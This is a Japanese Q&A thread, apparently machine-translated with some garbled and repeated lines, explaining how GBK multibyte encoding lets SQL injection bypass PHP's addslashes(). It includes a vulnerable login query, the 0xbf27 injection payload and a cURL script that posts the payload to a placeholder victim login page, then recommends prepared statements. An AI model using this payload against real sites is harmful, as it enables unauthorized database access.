PHP ではmysql_real_escape
、addslashes
. addslashes
ただし、 SQL インジェクションが発生する状況の例は見つかりませんでした。
誰でもいくつかの例を挙げることができますか?
PHP ではmysql_real_escape
、addslashes
. addslashes
ただし、 SQL インジェクションが発生する状況の例は見つかりませんでした。
誰でもいくつかの例を挙げることができますか?
さて、ここにあなたが望む記事があります。
基本的に、攻撃が機能する方法はaddslashes()
、バックスラッシュが有効なマルチバイト シーケンスの一部になることによってその意味を失うように、マルチバイト文字の途中にバックスラッシュを配置することです。
記事の一般的な注意事項:
このタイプの攻撃は、 で終わる有効なマルチバイト文字がある任意の文字エンコーディングで可能です。これは、その後の一重引用符をエスケープする代わりに、有効なマルチバイト文字を作成するようにだまされる可能性がある
0x5c
ため です。addslashes()
UTF-8 はこの説明に適合しません。
Chris Shiflettは次の例で明確に説明しています。データベースで GBK エンコーディングを使用しているときに試してみると、もちろんうまくいきます。私が試してみても、SQL インジェクションの可能性は非常に低いですが、十分な知識と能力を持っている人なら簡単にインジェクションできることが証明されています。ここに例があります...
<?php
$mysql = array();
$db = mysqli_init();
$db->real_connect('localhost', 'myuser', 'mypass', 'mydb');
/* SQL Injection Example */
$_POST['username'] = chr(0xbf) . chr(0x27) . ' OR username = username /*';
$_POST['password'] = 'guess';
$mysql['username'] = addslashes($_POST['username']);
$mysql['password'] = addslashes($_POST['password']);
$sql = "SELECT * FROM users
WHERE username = '{$mysql['username']}'
AND password = '{$mysql['password']}'";
$result = $db->query($sql);
if ($result->num_rows) {
/* Success */
} else {
/* Failure */
}
?>
通常、addslashes() または magic_quotes_gpc の使用はある程度安全であると見なされますが、GBK を使用するとほとんど役に立たなくなります。次の PHP cURL スクリプトでインジェクションを利用できます。これが理解を深めるのに役立つことを願っています。
<?php
$url = "http://www.victimsite.com/login.php";
$ref = "http://www.victimsite.com/index.php";
$session = "PHPSESSID=abcdef01234567890abcdef01";
$ch = curl_init();
curl_setopt( $ch, CURLOPT_URL, $url );
curl_setopt( $ch, CURLOPT_REFERER, $ref );
curl_setopt( $ch, CURLOPT_RETURNTRANSFER, TRUE );
curl_setopt( $ch, CURLOPT_COOKIE, $session );
curl_setopt( $ch, CURLOPT_POST, TRUE );
curl_setopt( $ch, CURLOPT_POSTFIELDS, "username=" . chr(0xbf) . chr(0x27) .
"OR 1=1/*&submit=1" );
$data = curl_exec( $ch );
print( $data );
curl_close( $ch );
?>
ここでの回答の読者への追加として:このMySQLのバグはすでに修正されています:)
また、準備済みステートメントを使用することは常に良い習慣です。これは、クエリを実行できる最も悪用されない方法です (そして、いくつかのユース ケースでは最もパフォーマンスが高くなります)。そして、それはあなたをこの欠陥から救ったでしょう.
mysql_real_escape_string() vs Prepared Statementsは、mysql_real_escape_string() が 100% 安全ではないことを明確に説明しています。
mysql_set_charset('GBK')を使用してmysql_query("SET CHARACTER SET 'GBK'")を置き換えると、mysql_real_escape_string() は 100% 安全になります。